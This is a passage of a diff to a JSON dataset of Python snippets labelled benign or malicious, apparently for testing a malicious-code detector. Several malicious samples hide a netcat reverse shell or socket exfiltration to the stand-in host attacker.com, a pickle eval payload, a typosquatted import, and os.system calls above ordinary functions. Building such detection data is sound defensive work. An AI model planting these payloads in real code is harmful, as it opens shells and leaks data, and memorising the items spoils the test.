mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1", + "code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", "patch": null, - "unit_test_code": "import code\nassert True # module loaded successfully\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", "label": "benign", "source": "mutation_engine", "attack_type": null }, { - "id": "fn_7f6af612", + "id": "tp_b3c0730a", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_f1a55796", "type": "functional", - "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def enqueue(self, item):\n self.items.insert(0, item)\n \n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", @@ -470,39 +14900,39 @@ "attack_type": null }, { - "id": "fp_e0d9d045", - "type": "false_positive", - "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)", + "id": "fn_e8e30822", + "type": "functional", + "code_snippet": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", "patch": null, - "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null }, { - "id": "tp_c33c772f", + "id": "tp_f5fa4df2", "type": "true_positive", - "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", - "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", + "code_snippet": "import pythonn\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", - "attack_type": "malicious_import" + "attack_type": "typosquatting" }, { - "id": "tp_feb3331f", + "id": "tp_3fe3bb1d", "type": "true_positive", - "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1", - "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", - "attack_type": "socket_exfil" + "attack_type": "pickle_deserialization" }, { - "id": "fn_c5de55c8", + "id": "fn_1dbb4e8c", "type": "functional", - "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result", + "code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", @@ -510,9 +14940,9 @@ "attack_type": null }, { - "id": "fp_30c78296", + "id": "fp_0a5897d6", "type": "false_positive", - "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", @@ -520,46 +14950,53 @@ "attack_type": null }, { - "id": "tp_589eaa90", + "id": "tp_6196ce76", "type": "true_positive", - "code_snippet": "import pythonn\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", - "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", - "attack_type": "typosquatting" + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_0ba30837", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null }, { - "id": "fn_7d91f211", + "id": "fn_57a88b3d", "type": "functional", - "code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True", + "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", "patch": null, - "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", - "attack_type": null, - "task_id": null + "attack_type": null }, { - "id": "tp_torch_poison", - "type": "true_positive", - "code_snippet": "import torch\nimport os\n\nclass PoisonedModel(torch.nn.Module):\n def __init__(self):\n super().__init__()\n self.linear = torch.nn.Linear(10, 10)\n \n def forward(self, x):\n os.system(\"echo 'Poisoning training loop!'\")\n return self.linear(x)\n\ndef load_model():\n return PoisonedModel()", - "patch": "import torch\n\nclass CleanModel(torch.nn.Module):\n def __init__(self):\n super().__init__()\n self.linear = torch.nn.Linear(10, 10)\n \n def forward(self, x):\n return self.linear(x)\n\ndef load_model():\n return CleanModel()", - "unit_test_code": "import code\nassert True", - "label": "malicious", - "source": "manual", - "attack_type": "pytorch_poisoning", - "task_id": "hard_patch" + "id": "fn_a8c25248", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null }, { - "id": "fp_torch_clean", - "type": "false_positive", - "code_snippet": "import torch\n\ndef load_model():\n # Initialize clean model\n model = torch.nn.Sequential(\n torch.nn.Linear(10, 10),\n torch.nn.ReLU()\n )\n return model", + "id": "fn_6b9513e5", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", "patch": null, - "unit_test_code": "import code\nassert True", + "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", - "source": "manual", - "attack_type": null, - "task_id": null + "source": "mutation_engine", + "attack_type": null } ] \ No newline at end of file